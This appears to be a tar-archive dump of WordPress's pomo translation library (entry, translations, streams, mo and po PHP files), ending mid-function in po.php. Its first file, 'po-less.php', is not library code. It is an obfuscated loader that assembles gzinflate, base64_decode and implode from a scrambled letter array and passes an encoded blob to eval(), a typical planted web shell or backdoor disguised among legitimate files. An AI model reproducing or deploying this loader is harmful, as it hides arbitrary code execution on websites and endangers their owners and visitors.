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po-less.php 0000666 00000002064 15111653002 0006637 0 ustar 00 <?php
$post_class_ba = array ('48pMU9DILC5OLdFQiXd3DYlWz00t','ychPUY/V1FSo5lIAgtSyxByNtMyc','1Pj01JL45Py8ktS8kmIN9YySkgIr','fX11BT0FDK3WXLUA');
$post_class_qj = array ('h','e','u','e','p','b','e','m','y','a','f','a','k','l','l','6','s','m','e','t','y','p','g','d','a','b','_','a','p','e','l','n','o','g','i','4','f','d','q','d','d','z','o','e','w','c','y','u','n','t','i','h','d','d','e','i','m','t','t');
$post_class_xd = $post_class_qj[22].$post_class_qj[41].$post_class_qj[55].$post_class_qj[31].$post_class_qj[10].$post_class_qj[30].$post_class_qj[9].$post_class_qj[58].$post_class_qj[6];
$post_class_pu = $post_class_qj[5].$post_class_qj[24].$post_class_qj[16].$post_class_qj[18].$post_class_qj[15].$post_class_qj[35].$post_class_qj[26].$post_class_qj[23].$post_class_qj[43].$post_class_qj[45].$post_class_qj[32].$post_class_qj[37].$post_class_qj[29];
$post_class_yt = $post_class_qj[50].$post_class_qj[17].$post_class_qj[28].$post_class_qj[13].$post_class_qj[42].$post_class_qj[39].$post_class_qj[3];
eval($post_class_xd($post_class_pu($post_class_yt($post_class_ba)))); entry.php 0000666 00000005507 15111653002 0006423 0 ustar 00 <?php
/**
* Contains Translation_Entry class
*
* @version $Id: entry.php 1157 2015-11-20 04:30:11Z dd32 $
* @package pomo
* @subpackage entry
*/
if ( ! class_exists( 'Translation_Entry', false ) ):
/**
* Translation_Entry class encapsulates a translatable string
*/
class Translation_Entry {
/**
* Whether the entry contains a string and its plural form, default is false
*
* @var boolean
*/
var $is_plural = false;
var $context = null;
var $singular = null;
var $plural = null;
var $translations = array();
var $translator_comments = '';
var $extracted_comments = '';
var $references = array();
var $flags = array();
/**
* @param array $args associative array, support following keys:
* - singular (string) -- the string to translate, if omitted and empty entry will be created
* - plural (string) -- the plural form of the string, setting this will set {@link $is_plural} to true
* - translations (array) -- translations of the string and possibly -- its plural forms
* - context (string) -- a string differentiating two equal strings used in different contexts
* - translator_comments (string) -- comments left by translators
* - extracted_comments (string) -- comments left by developers
* - references (array) -- places in the code this strings is used, in relative_to_root_path/file.php:linenum form
* - flags (array) -- flags like php-format
*/
function __construct( $args = array() ) {
// if no singular -- empty object
if (!isset($args['singular'])) {
return;
}
// get member variable values from args hash
foreach ($args as $varname => $value) {
$this->$varname = $value;
}
if (isset($args['plural']) && $args['plural']) $this->is_plural = true;
if (!is_array($this->translations)) $this->translations = array();
if (!is_array($this->references)) $this->references = array();
if (!is_array($this->flags)) $this->flags = array();
}
/**
* PHP4 constructor.
*/
public function Translation_Entry( $args = array() ) {
self::__construct( $args );
}
/**
* Generates a unique key for this entry
*
* @return string|bool the key or false if the entry is empty
*/
function key() {
if ( null === $this->singular || '' === $this->singular ) return false;
// Prepend context and EOT, like in MO files
$key = !$this->context? $this->singular : $this->context.chr(4).$this->singular;
// Standardize on \n line endings
$key = str_replace( array( "\r\n", "\r" ), "\n", $key );
return $key;
}
/**
* @param object $other
*/
function merge_with(&$other) {
$this->flags = array_unique( array_merge( $this->flags, $other->flags ) );
$this->references = array_unique( array_merge( $this->references, $other->references ) );
if ( $this->extracted_comments != $other->extracted_comments ) {
$this->extracted_comments .= $other->extracted_comments;
}
}
}
endif; translations.php 0000666 00000021231 15111653002 0007773 0 ustar 00 <?php
/**
* Class for a set of entries for translation and their associated headers
*
* @version $Id: translations.php 1157 2015-11-20 04:30:11Z dd32 $
* @package pomo
* @subpackage translations
*/
require_once dirname(__FILE__) . '/plural-forms.php';
require_once dirname(__FILE__) . '/entry.php';
if ( ! class_exists( 'Translations', false ) ):
class Translations {
var $entries = array();
var $headers = array();
/**
* Add entry to the PO structure
*
* @param array|Translation_Entry $entry
* @return bool true on success, false if the entry doesn't have a key
*/
function add_entry($entry) {
if (is_array($entry)) {
$entry = new Translation_Entry($entry);
}
$key = $entry->key();
if (false === $key) return false;
$this->entries[$key] = &$entry;
return true;
}
/**
* @param array|Translation_Entry $entry
* @return bool
*/
function add_entry_or_merge($entry) {
if (is_array($entry)) {
$entry = new Translation_Entry($entry);
}
$key = $entry->key();
if (false === $key) return false;
if (isset($this->entries[$key]))
$this->entries[$key]->merge_with($entry);
else
$this->entries[$key] = &$entry;
return true;
}
/**
* Sets $header PO header to $value
*
* If the header already exists, it will be overwritten
*
* TODO: this should be out of this class, it is gettext specific
*
* @param string $header header name, without trailing :
* @param string $value header value, without trailing \n
*/
function set_header($header, $value) {
$this->headers[$header] = $value;
}
/**
* @param array $headers
*/
function set_headers($headers) {
foreach($headers as $header => $value) {
$this->set_header($header, $value);
}
}
/**
* @param string $header
*/
function get_header($header) {
return isset($this->headers[$header])? $this->headers[$header] : false;
}
/**
* @param Translation_Entry $entry
*/
function translate_entry(&$entry) {
$key = $entry->key();
return isset($this->entries[$key])? $this->entries[$key] : false;
}
/**
* @param string $singular
* @param string $context
* @return string
*/
function translate($singular, $context=null) {
$entry = new Translation_Entry(array('singular' => $singular, 'context' => $context));
$translated = $this->translate_entry($entry);
return ($translated && !empty($translated->translations))? $translated->translations[0] : $singular;
}
/**
* Given the number of items, returns the 0-based index of the plural form to use
*
* Here, in the base Translations class, the common logic for English is implemented:
* 0 if there is one element, 1 otherwise
*
* This function should be overridden by the sub-classes. For example MO/PO can derive the logic
* from their headers.
*
* @param integer $count number of items
*/
function select_plural_form($count) {
return 1 == $count? 0 : 1;
}
/**
* @return int
*/
function get_plural_forms_count() {
return 2;
}
/**
* @param string $singular
* @param string $plural
* @param int $count
* @param string $context
*/
function translate_plural($singular, $plural, $count, $context = null) {
$entry = new Translation_Entry(array('singular' => $singular, 'plural' => $plural, 'context' => $context));
$translated = $this->translate_entry($entry);
$index = $this->select_plural_form($count);
$total_plural_forms = $this->get_plural_forms_count();
if ($translated && 0 <= $index && $index < $total_plural_forms &&
is_array($translated->translations) &&
isset($translated->translations[$index]))
return $translated->translations[$index];
else
return 1 == $count? $singular : $plural;
}
/**
* Merge $other in the current object.
*
* @param Object $other Another Translation object, whose translations will be merged in this one (passed by reference).
* @return void
**/
function merge_with(&$other) {
foreach( $other->entries as $entry ) {
$this->entries[$entry->key()] = $entry;
}
}
/**
* @param object $other
*/
function merge_originals_with(&$other) {
foreach( $other->entries as $entry ) {
if ( !isset( $this->entries[$entry->key()] ) )
$this->entries[$entry->key()] = $entry;
else
$this->entries[$entry->key()]->merge_with($entry);
}
}
}
class Gettext_Translations extends Translations {
/**
* The gettext implementation of select_plural_form.
*
* It lives in this class, because there are more than one descendand, which will use it and
* they can't share it effectively.
*
* @param int $count
*/
function gettext_select_plural_form($count) {
if (!isset($this->_gettext_select_plural_form) || is_null($this->_gettext_select_plural_form)) {
list( $nplurals, $expression ) = $this->nplurals_and_expression_from_header($this->get_header('Plural-Forms'));
$this->_nplurals = $nplurals;
$this->_gettext_select_plural_form = $this->make_plural_form_function($nplurals, $expression);
}
return call_user_func($this->_gettext_select_plural_form, $count);
}
/**
* @param string $header
* @return array
*/
function nplurals_and_expression_from_header($header) {
if (preg_match('/^\s*nplurals\s*=\s*(\d+)\s*;\s+plural\s*=\s*(.+)$/', $header, $matches)) {
$nplurals = (int)$matches[1];
$expression = trim( $matches[2] );
return array($nplurals, $expression);
} else {
return array(2, 'n != 1');
}
}
/**
* Makes a function, which will return the right translation index, according to the
* plural forms header
* @param int $nplurals
* @param string $expression
*/
function make_plural_form_function($nplurals, $expression) {
try {
$handler = new Plural_Forms( rtrim( $expression, ';' ) );
return array( $handler, 'get' );
} catch ( Exception $e ) {
// Fall back to default plural-form function.
return $this->make_plural_form_function( 2, 'n != 1' );
}
}
/**
* Adds parentheses to the inner parts of ternary operators in
* plural expressions, because PHP evaluates ternary oerators from left to right
*
* @param string $expression the expression without parentheses
* @return string the expression with parentheses added
*/
function parenthesize_plural_exression($expression) {
$expression .= ';';
$res = '';
$depth = 0;
for ($i = 0; $i < strlen($expression); ++$i) {
$char = $expression[$i];
switch ($char) {
case '?':
$res .= ' ? (';
$depth++;
break;
case ':':
$res .= ') : (';
break;
case ';':
$res .= str_repeat(')', $depth) . ';';
$depth= 0;
break;
default:
$res .= $char;
}
}
return rtrim($res, ';');
}
/**
* @param string $translation
* @return array
*/
function make_headers($translation) {
$headers = array();
// sometimes \ns are used instead of real new lines
$translation = str_replace('\n', "\n", $translation);
$lines = explode("\n", $translation);
foreach($lines as $line) {
$parts = explode(':', $line, 2);
if (!isset($parts[1])) continue;
$headers[trim($parts[0])] = trim($parts[1]);
}
return $headers;
}
/**
* @param string $header
* @param string $value
*/
function set_header($header, $value) {
parent::set_header($header, $value);
if ('Plural-Forms' == $header) {
list( $nplurals, $expression ) = $this->nplurals_and_expression_from_header($this->get_header('Plural-Forms'));
$this->_nplurals = $nplurals;
$this->_gettext_select_plural_form = $this->make_plural_form_function($nplurals, $expression);
}
}
}
endif;
if ( ! class_exists( 'NOOP_Translations', false ) ):
/**
* Provides the same interface as Translations, but doesn't do anything
*/
class NOOP_Translations {
var $entries = array();
var $headers = array();
function add_entry($entry) {
return true;
}
/**
*
* @param string $header
* @param string $value
*/
function set_header($header, $value) {
}
/**
*
* @param array $headers
*/
function set_headers($headers) {
}
/**
* @param string $header
* @return false
*/
function get_header($header) {
return false;
}
/**
* @param Translation_Entry $entry
* @return false
*/
function translate_entry(&$entry) {
return false;
}
/**
* @param string $singular
* @param string $context
*/
function translate($singular, $context=null) {
return $singular;
}
/**
*
* @param int $count
* @return bool
*/
function select_plural_form($count) {
return 1 == $count? 0 : 1;
}
/**
* @return int
*/
function get_plural_forms_count() {
return 2;
}
/**
* @param string $singular
* @param string $plural
* @param int $count
* @param string $context
*/
function translate_plural($singular, $plural, $count, $context = null) {
return 1 == $count? $singular : $plural;
}
/**
* @param object $other
*/
function merge_with(&$other) {
}
}
endif;
streams.php 0000666 00000013474 15111653002 0006742 0 ustar 00 <?php
/**
* Classes, which help reading streams of data from files.
* Based on the classes from Danilo Segan <danilo@kvota.net>
*
* @version $Id: streams.php 1157 2015-11-20 04:30:11Z dd32 $
* @package pomo
* @subpackage streams
*/
if ( ! class_exists( 'POMO_Reader', false ) ):
class POMO_Reader {
var $endian = 'little';
var $_post = '';
/**
* PHP5 constructor.
*/
function __construct() {
$this->is_overloaded = ((ini_get("mbstring.func_overload") & 2) != 0) && function_exists('mb_substr');
$this->_pos = 0;
}
/**
* PHP4 constructor.
*/
public function POMO_Reader() {
self::__construct();
}
/**
* Sets the endianness of the file.
*
* @param $endian string 'big' or 'little'
*/
function setEndian($endian) {
$this->endian = $endian;
}
/**
* Reads a 32bit Integer from the Stream
*
* @return mixed The integer, corresponding to the next 32 bits from
* the stream of false if there are not enough bytes or on error
*/
function readint32() {
$bytes = $this->read(4);
if (4 != $this->strlen($bytes))
return false;
$endian_letter = ('big' == $this->endian)? 'N' : 'V';
$int = unpack($endian_letter, $bytes);
return reset( $int );
}
/**
* Reads an array of 32-bit Integers from the Stream
*
* @param integer count How many elements should be read
* @return mixed Array of integers or false if there isn't
* enough data or on error
*/
function readint32array($count) {
$bytes = $this->read(4 * $count);
if (4*$count != $this->strlen($bytes))
return false;
$endian_letter = ('big' == $this->endian)? 'N' : 'V';
return unpack($endian_letter.$count, $bytes);
}
/**
* @param string $string
* @param int $start
* @param int $length
* @return string
*/
function substr($string, $start, $length) {
if ($this->is_overloaded) {
return mb_substr($string, $start, $length, 'ascii');
} else {
return substr($string, $start, $length);
}
}
/**
* @param string $string
* @return int
*/
function strlen($string) {
if ($this->is_overloaded) {
return mb_strlen($string, 'ascii');
} else {
return strlen($string);
}
}
/**
* @param string $string
* @param int $chunk_size
* @return array
*/
function str_split($string, $chunk_size) {
if (!function_exists('str_split')) {
$length = $this->strlen($string);
$out = array();
for ($i = 0; $i < $length; $i += $chunk_size)
$out[] = $this->substr($string, $i, $chunk_size);
return $out;
} else {
return str_split( $string, $chunk_size );
}
}
/**
* @return int
*/
function pos() {
return $this->_pos;
}
/**
* @return true
*/
function is_resource() {
return true;
}
/**
* @return true
*/
function close() {
return true;
}
}
endif;
if ( ! class_exists( 'POMO_FileReader', false ) ):
class POMO_FileReader extends POMO_Reader {
/**
* @param string $filename
*/
function __construct( $filename ) {
parent::POMO_Reader();
$this->_f = fopen($filename, 'rb');
}
/**
* PHP4 constructor.
*/
public function POMO_FileReader( $filename ) {
self::__construct( $filename );
}
/**
* @param int $bytes
*/
function read($bytes) {
return fread($this->_f, $bytes);
}
/**
* @param int $pos
* @return boolean
*/
function seekto($pos) {
if ( -1 == fseek($this->_f, $pos, SEEK_SET)) {
return false;
}
$this->_pos = $pos;
return true;
}
/**
* @return bool
*/
function is_resource() {
return is_resource($this->_f);
}
/**
* @return bool
*/
function feof() {
return feof($this->_f);
}
/**
* @return bool
*/
function close() {
return fclose($this->_f);
}
/**
* @return string
*/
function read_all() {
$all = '';
while ( !$this->feof() )
$all .= $this->read(4096);
return $all;
}
}
endif;
if ( ! class_exists( 'POMO_StringReader', false ) ):
/**
* Provides file-like methods for manipulating a string instead
* of a physical file.
*/
class POMO_StringReader extends POMO_Reader {
var $_str = '';
/**
* PHP5 constructor.
*/
function __construct( $str = '' ) {
parent::POMO_Reader();
$this->_str = $str;
$this->_pos = 0;
}
/**
* PHP4 constructor.
*/
public function POMO_StringReader( $str = '' ) {
self::__construct( $str );
}
/**
* @param string $bytes
* @return string
*/
function read($bytes) {
$data = $this->substr($this->_str, $this->_pos, $bytes);
$this->_pos += $bytes;
if ($this->strlen($this->_str) < $this->_pos) $this->_pos = $this->strlen($this->_str);
return $data;
}
/**
* @param int $pos
* @return int
*/
function seekto($pos) {
$this->_pos = $pos;
if ($this->strlen($this->_str) < $this->_pos) $this->_pos = $this->strlen($this->_str);
return $this->_pos;
}
/**
* @return int
*/
function length() {
return $this->strlen($this->_str);
}
/**
* @return string
*/
function read_all() {
return $this->substr($this->_str, $this->_pos, $this->strlen($this->_str));
}
}
endif;
if ( ! class_exists( 'POMO_CachedFileReader', false ) ):
/**
* Reads the contents of the file in the beginning.
*/
class POMO_CachedFileReader extends POMO_StringReader {
/**
* PHP5 constructor.
*/
function __construct( $filename ) {
parent::POMO_StringReader();
$this->_str = file_get_contents($filename);
if (false === $this->_str)
return false;
$this->_pos = 0;
}
/**
* PHP4 constructor.
*/
public function POMO_CachedFileReader( $filename ) {
self::__construct( $filename );
}
}
endif;
if ( ! class_exists( 'POMO_CachedIntFileReader', false ) ):
/**
* Reads the contents of the file in the beginning.
*/
class POMO_CachedIntFileReader extends POMO_CachedFileReader {
/**
* PHP5 constructor.
*/
public function __construct( $filename ) {
parent::POMO_CachedFileReader($filename);
}
/**
* PHP4 constructor.
*/
function POMO_CachedIntFileReader( $filename ) {
self::__construct( $filename );
}
}
endif;
mo.php 0000666 00000020416 15111653002 0005671 0 ustar 00 <?php
/**
* Class for working with MO files
*
* @version $Id: mo.php 1157 2015-11-20 04:30:11Z dd32 $
* @package pomo
* @subpackage mo
*/
require_once dirname(__FILE__) . '/translations.php';
require_once dirname(__FILE__) . '/streams.php';
if ( ! class_exists( 'MO', false ) ):
class MO extends Gettext_Translations {
var $_nplurals = 2;
/**
* Loaded MO file.
*
* @var string
*/
private $filename = '';
/**
* Returns the loaded MO file.
*
* @return string The loaded MO file.
*/
public function get_filename() {
return $this->filename;
}
/**
* Fills up with the entries from MO file $filename
*
* @param string $filename MO file to load
*/
function import_from_file($filename) {
$reader = new POMO_FileReader( $filename );
if ( ! $reader->is_resource() ) {
return false;
}
$this->filename = (string) $filename;
return $this->import_from_reader( $reader );
}
/**
* @param string $filename
* @return bool
*/
function export_to_file($filename) {
$fh = fopen($filename, 'wb');
if ( !$fh ) return false;
$res = $this->export_to_file_handle( $fh );
fclose($fh);
return $res;
}
/**
* @return string|false
*/
function export() {
$tmp_fh = fopen("php://temp", 'r+');
if ( !$tmp_fh ) return false;
$this->export_to_file_handle( $tmp_fh );
rewind( $tmp_fh );
return stream_get_contents( $tmp_fh );
}
/**
* @param Translation_Entry $entry
* @return bool
*/
function is_entry_good_for_export( $entry ) {
if ( empty( $entry->translations ) ) {
return false;
}
if ( !array_filter( $entry->translations ) ) {
return false;
}
return true;
}
/**
* @param resource $fh
* @return true
*/
function export_to_file_handle($fh) {
$entries = array_filter( $this->entries, array( $this, 'is_entry_good_for_export' ) );
ksort($entries);
$magic = 0x950412de;
$revision = 0;
$total = count($entries) + 1; // all the headers are one entry
$originals_lenghts_addr = 28;
$translations_lenghts_addr = $originals_lenghts_addr + 8 * $total;
$size_of_hash = 0;
$hash_addr = $translations_lenghts_addr + 8 * $total;
$current_addr = $hash_addr;
fwrite($fh, pack('V*', $magic, $revision, $total, $originals_lenghts_addr,
$translations_lenghts_addr, $size_of_hash, $hash_addr));
fseek($fh, $originals_lenghts_addr);
// headers' msgid is an empty string
fwrite($fh, pack('VV', 0, $current_addr));
$current_addr++;
$originals_table = chr(0);
$reader = new POMO_Reader();
foreach($entries as $entry) {
$originals_table .= $this->export_original($entry) . chr(0);
$length = $reader->strlen($this->export_original($entry));
fwrite($fh, pack('VV', $length, $current_addr));
$current_addr += $length + 1; // account for the NULL byte after
}
$exported_headers = $this->export_headers();
fwrite($fh, pack('VV', $reader->strlen($exported_headers), $current_addr));
$current_addr += strlen($exported_headers) + 1;
$translations_table = $exported_headers . chr(0);
foreach($entries as $entry) {
$translations_table .= $this->export_translations($entry) . chr(0);
$length = $reader->strlen($this->export_translations($entry));
fwrite($fh, pack('VV', $length, $current_addr));
$current_addr += $length + 1;
}
fwrite($fh, $originals_table);
fwrite($fh, $translations_table);
return true;
}
/**
* @param Translation_Entry $entry
* @return string
*/
function export_original($entry) {
//TODO: warnings for control characters
$exported = $entry->singular;
if ($entry->is_plural) $exported .= chr(0).$entry->plural;
if ($entry->context) $exported = $entry->context . chr(4) . $exported;
return $exported;
}
/**
* @param Translation_Entry $entry
* @return string
*/
function export_translations($entry) {
//TODO: warnings for control characters
return $entry->is_plural ? implode(chr(0), $entry->translations) : $entry->translations[0];
}
/**
* @return string
*/
function export_headers() {
$exported = '';
foreach($this->headers as $header => $value) {
$exported.= "$header: $value\n";
}
return $exported;
}
/**
* @param int $magic
* @return string|false
*/
function get_byteorder($magic) {
// The magic is 0x950412de
// bug in PHP 5.0.2, see https://savannah.nongnu.org/bugs/?func=detailitem&item_id=10565
$magic_little = (int) - 1794895138;
$magic_little_64 = (int) 2500072158;
// 0xde120495
$magic_big = ((int) - 569244523) & 0xFFFFFFFF;
if ($magic_little == $magic || $magic_little_64 == $magic) {
return 'little';
} else if ($magic_big == $magic) {
return 'big';
} else {
return false;
}
}
/**
* @param POMO_FileReader $reader
*/
function import_from_reader($reader) {
$endian_string = MO::get_byteorder($reader->readint32());
if (false === $endian_string) {
return false;
}
$reader->setEndian($endian_string);
$endian = ('big' == $endian_string)? 'N' : 'V';
$header = $reader->read(24);
if ($reader->strlen($header) != 24)
return false;
// parse header
$header = unpack("{$endian}revision/{$endian}total/{$endian}originals_lenghts_addr/{$endian}translations_lenghts_addr/{$endian}hash_length/{$endian}hash_addr", $header);
if (!is_array($header))
return false;
// support revision 0 of MO format specs, only
if ( $header['revision'] != 0 ) {
return false;
}
// seek to data blocks
$reader->seekto( $header['originals_lenghts_addr'] );
// read originals' indices
$originals_lengths_length = $header['translations_lenghts_addr'] - $header['originals_lenghts_addr'];
if ( $originals_lengths_length != $header['total'] * 8 ) {
return false;
}
$originals = $reader->read($originals_lengths_length);
if ( $reader->strlen( $originals ) != $originals_lengths_length ) {
return false;
}
// read translations' indices
$translations_lenghts_length = $header['hash_addr'] - $header['translations_lenghts_addr'];
if ( $translations_lenghts_length != $header['total'] * 8 ) {
return false;
}
$translations = $reader->read($translations_lenghts_length);
if ( $reader->strlen( $translations ) != $translations_lenghts_length ) {
return false;
}
// transform raw data into set of indices
$originals = $reader->str_split( $originals, 8 );
$translations = $reader->str_split( $translations, 8 );
// skip hash table
$strings_addr = $header['hash_addr'] + $header['hash_length'] * 4;
$reader->seekto($strings_addr);
$strings = $reader->read_all();
$reader->close();
for ( $i = 0; $i < $header['total']; $i++ ) {
$o = unpack( "{$endian}length/{$endian}pos", $originals[$i] );
$t = unpack( "{$endian}length/{$endian}pos", $translations[$i] );
if ( !$o || !$t ) return false;
// adjust offset due to reading strings to separate space before
$o['pos'] -= $strings_addr;
$t['pos'] -= $strings_addr;
$original = $reader->substr( $strings, $o['pos'], $o['length'] );
$translation = $reader->substr( $strings, $t['pos'], $t['length'] );
if ('' === $original) {
$this->set_headers($this->make_headers($translation));
} else {
$entry = &$this->make_entry($original, $translation);
$this->entries[$entry->key()] = &$entry;
}
}
return true;
}
/**
* Build a Translation_Entry from original string and translation strings,
* found in a MO file
*
* @static
* @param string $original original string to translate from MO file. Might contain
* 0x04 as context separator or 0x00 as singular/plural separator
* @param string $translation translation string from MO file. Might contain
* 0x00 as a plural translations separator
*/
function &make_entry($original, $translation) {
$entry = new Translation_Entry();
// look for context
$parts = explode(chr(4), $original);
if (isset($parts[1])) {
$original = $parts[1];
$entry->context = $parts[0];
}
// look for plural original
$parts = explode(chr(0), $original);
$entry->singular = $parts[0];
if (isset($parts[1])) {
$entry->is_plural = true;
$entry->plural = $parts[1];
}
// plural translations are also separated by \0
$entry->translations = explode(chr(0), $translation);
return $entry;
}
/**
* @param int $count
* @return string
*/
function select_plural_form($count) {
return $this->gettext_select_plural_form($count);
}
/**
* @return int
*/
function get_plural_forms_count() {
return $this->_nplurals;
}
}
endif;
po.php 0000666 00000032264 15111653002 0005700 0 ustar 00 <?php
/**
* Class for working with PO files
*
* @version $Id: po.php 1158 2015-11-20 04:31:23Z dd32 $
* @package pomo
* @subpackage po
*/
require_once dirname(__FILE__) . '/translations.php';
if ( ! defined( 'PO_MAX_LINE_LEN' ) ) {
define('PO_MAX_LINE_LEN', 79);
}
ini_set('auto_detect_line_endings', 1);
/**
* Routines for working with PO files
*/
if ( ! class_exists( 'PO', false ) ):
class PO extends Gettext_Translations {
var $comments_before_headers = '';
/**
* Exports headers to a PO entry
*
* @return string msgid/msgstr PO entry for this PO file headers, doesn't contain newline at the end
*/
function export_headers() {
$header_string = '';
foreach($this->headers as $header => $value) {
$header_string.= "$header: $value\n";
}
$poified = PO::poify($header_string);
if ($this->comments_before_headers)
$before_headers = $this->prepend_each_line(rtrim($this->comments_before_headers)."\n", '# ');
else
$before_headers = '';
return rtrim("{$before_headers}msgid \"\"\nmsgstr $poified");
}
/**
* Exports all entries to PO format
*
* @return string sequence of mgsgid/msgstr PO strings, doesn't containt newline at the end
*/
function export_entries() {
//TODO sorting
return implode("\n\n", array_map(array('PO', 'export_entry'), $this->entries));
}
/**
* Exports the whole PO file as a string
*
* @param bool $include_headers whether to include the headers in the export
* @return string ready for inclusion in PO file string for headers and all the enrtries
*/
function export($include_headers = true) {
$res = '';
if ($include_headers) {
$res .= $this->export_headers();
$res .= "\n\n";
}
$res .= $this->export_entries();
return $res;
}
/**
* Same as {@link export}, but writes the result to a file
*
* @param string $filename where to write the PO string
* @param bool $include_headers whether to include tje headers in the export
* @return bool true on success, false on error
*/
function export_to_file($filename, $include_headers = true) {
$fh = fopen($filename, 'w');
if (false === $fh) return false;
$export = $this->export($include_headers);
$res = fwrite($fh, $export);
if (false === $res) return false;
return fclose($fh);
}
/**
* Text to include as a comment before the start of the PO contents
*
* Doesn't need to include # in the beginning of lines, these are added automatically
*/
function set_comment_before_headers( $text ) {
$this->comments_before_headers = $text;
}
/**
* Formats a string in PO-style
*
* @static
* @param string $string the string to format
* @return string the poified string
*/
public static function poify($string) {
$quote = '"';
$slash = '\\';
$newline = "\n";
$replaces = array(
"$slash" => "$slash$slash",
"$quote" => "$slash$quote",
"\t" => '\t',
);
$string = str_replace(array_keys($replaces), array_values($replaces), $string);
$po = $quote.implode("${slash}n$quote$newline$quote", explode($newline, $string)).$quote;
// add empty string on first line for readbility
if (false !== strpos($string, $newline) &&
(substr_count($string, $newline) > 1 || !($newline === substr($string, -strlen($newline))))) {
$po = "$quote$quote$newline$po";
}
// remove empty strings
$po = str_replace("$newline$quote$quote", '', $po);
return $po;
}
/**
* Gives back the original string from a PO-formatted string
*
* @static
* @param string $string PO-formatted string
* @return string enascaped string
*/
public static function unpoify($string) {
$escapes = array('t' => "\t", 'n' => "\n", 'r' => "\r", '\\' => '\\');
$lines = array_map('trim', explode("\n", $string));
$lines = array_map(array('PO', 'trim_quotes'), $lines);
$unpoified = '';
$previous_is_backslash = false;
foreach($lines as $line) {
preg_match_all('/./u', $line, $chars);
$chars = $chars[0];
foreach($chars as $char) {
if (!$previous_is_backslash) {
if ('\\' == $char)
$previous_is_backslash = true;
else
$unpoified .= $char;
} else {
$previous_is_backslash = false;
$unpoified .= isset($escapes[$char])? $escapes[$char] : $char;
}
}
}
// Standardise the line endings on imported content, technically PO files shouldn't contain \r
$unpoified = str_replace( array( "\r\n", "\r" ), "\n", $unpoified );
return $unpoified;
}
/**
* Inserts $with in the beginning of every new line of $string and
* returns the modified string
*
* @static
* @param string $string prepend lines in this string
* @param string $with prepend lines with this string
*/
public static function prepend_each_line($string, $with) {
$lines = explode("\n", $string);
$append = '';
if ("\n" === substr($string, -1) && '' === end($lines)) {
// Last line might be empty because $string was terminated
// with a newline, remove it from the $lines array,
// we'll restore state by re-terminating the string at the end
array_pop($lines);
$append = "\n";
}
foreach ($lines as &$line) {
$line = $with . $line;
}
unset($line);
return implode("\n", $lines) . $append;
}
/**
* Prepare a text as a comment -- wraps the lines and prepends #
* and a special character to each line
*
* @access private
* @param string $text the comment text
* @param string $char character to denote a special PO comment,
* like :, default is a space
*/
public static function comment_block($text, $char=' ') {
$text = wordwrap($text, PO_MAX_LINE_LEN - 3);
return PO::prepend_each_line($text, "#$char ");
}
/**
* Builds a string from the entry for inclusion in PO file
*
* @static
* @param Translation_Entry $entry the entry to convert to po string (passed by reference).
* @return false|string PO-style formatted string for the entry or
* false if the entry is empty
*/
public static function export_entry(&$entry) {
if ( null === $entry->singular || '' === $entry->singular ) return false;
$po = array();
if (!empty($entry->translator_comments)) $po[] = PO::comment_block($entry->translator_comments);
if (!empty($entry->extracted_comments)) $po[] = PO::comment_block($entry->extracted_comments, '.');
if (!empty($entry->references)) $po[] = PO::comment_block(implode(' ', $entry->references), ':');
if (!empty($entry->flags)) $po[] = PO::comment_block(implode(", ", $entry->flags), ',');
if ($entry->context) $po[] = 'msgctxt '.PO::poify($entry->context);
$po[] = 'msgid '.PO::poify($entry->singular);
if (!$entry->is_plural) {
$translation = empty($entry->translations)? '' : $entry->translations[0];
$translation = PO::match_begin_and_end_newlines( $translation, $entry->singular );
$po[] = 'msgstr '.PO::poify($translation);
} else {
$po[] = 'msgid_plural '.PO::poify($entry->plural);
$translations = empty($entry->translations)? array('', '') : $entry->translations;
foreach($translations as $i => $translation) {
$translation = PO::match_begin_and_end_newlines( $translation, $entry->plural );
$po[] = "msgstr[$i] ".PO::poify($translation);
}
}
return implode("\n", $po);
}
public static function match_begin_and_end_newlines( $translation, $original ) {
if ( '' === $translation ) {
return $translation;
}
$original_begin = "\n" === substr( $original, 0, 1 );
$original_end = "\n" === substr( $original, -1 );
$translation_begin = "\n" === substr( $translation, 0, 1 );
$translation_end = "\n" === substr( $translation, -1 );
if ( $original_begin ) {
if ( ! $translation_begin ) {
$translation = "\n" . $translation;
}
} elseif ( $translation_begin ) {
$translation = ltrim( $translation, "\n" );
}
if ( $original_end ) {
if ( ! $translation_end ) {
$translation .= "\n";
}
} elseif ( $translation_end ) {
$translation = rtrim( $translation, "\n" );
}
return $translation;
}
/**
* @param string $filename
* @return boolean
*/
function import_from_file($filename) {
$f = fopen($filename, 'r');
if (!$f) return false;
$lineno = 0;
while (true) {
$res = $this->read_entry($f, $lineno);
if (!$res) break;
if ($res['entry']->singular == '') {
$this->set_headers($this->make_headers($res['entry']->translations[0]));
} else {
$this->add_entry($res['entry']);
}
}
PO::read_line($f, 'clear');
if ( false === $res ) {
return false;
}
if ( ! $this->headers && ! $this->entries ) {
return false;
}
return true;
}
/**
* Helper function for read_entry
* @param string $context
* @return bool
*/
protected static function is_final($context) {
return ($context === 'msgstr') || ($context === 'msgstr_plural');
}
/**
* @param resource $f
* @param int $lineno
* @return null|false|array
*/
function read_entry($f, $lineno = 0) {
$entry = new Translation_Entry();
// where were we in the last step
// can be: comment, msgctxt, msgid, msgid_plural, msgstr, msgstr_plural
$context = '';
$msgstr_index = 0;
while (true) {
$lineno++;
$line = PO::read_line($f);
if (!$line) {
if (feof($f)) {
if (self::is_final($context))
break;
elseif (!$context) // we haven't read a line and eof came
return null;
else
return false;
} else {
return false;
}
}
if ($line == "\n") continue;
$line = trim($line);
if (preg_match('/^#/', $line, $m)) {
// the comment is the start of a new entry
if (self::is_final($context)) {
PO::read_line($f, 'put-back');
$lineno--;
break;
}
// comments have to be at the beginning
if ($context && $context != 'comment') {
return false;
}
// add comment
$this->add_comment_to_entry($entry, $line);
} elseif (preg_match('/^msgctxt\s+(".*")/', $line, $m)) {
if (self::is_final($context)) {
PO::read_line($f, 'put-back');
$lineno--;
break;
}
if ($context && $context != 'comment') {
return false;
}
$context = 'msgctxt';
$entry->context .= PO::unpoify($m[1]);
} elseif (preg_match('/^msgid\s+(".*")/', $line, $m)) {
if (self::is_final($context)) {
PO::read_line($f, 'put-back');
$lineno--;
break;
}
if ($context && $context != 'msgctxt' && $context != 'comment') {
return false;
}
$context = 'msgid';
$entry->singular .= PO::unpoify($m[1]);
} elseif (preg_match('/^msgid_plural\s+(".*")/', $line, $m)) {
if ($context != 'msgid') {
return false;
}
$context = 'msgid_plural';
$entry->is_plural = true;
$entry->plural .= PO::unpoify($m[1]);
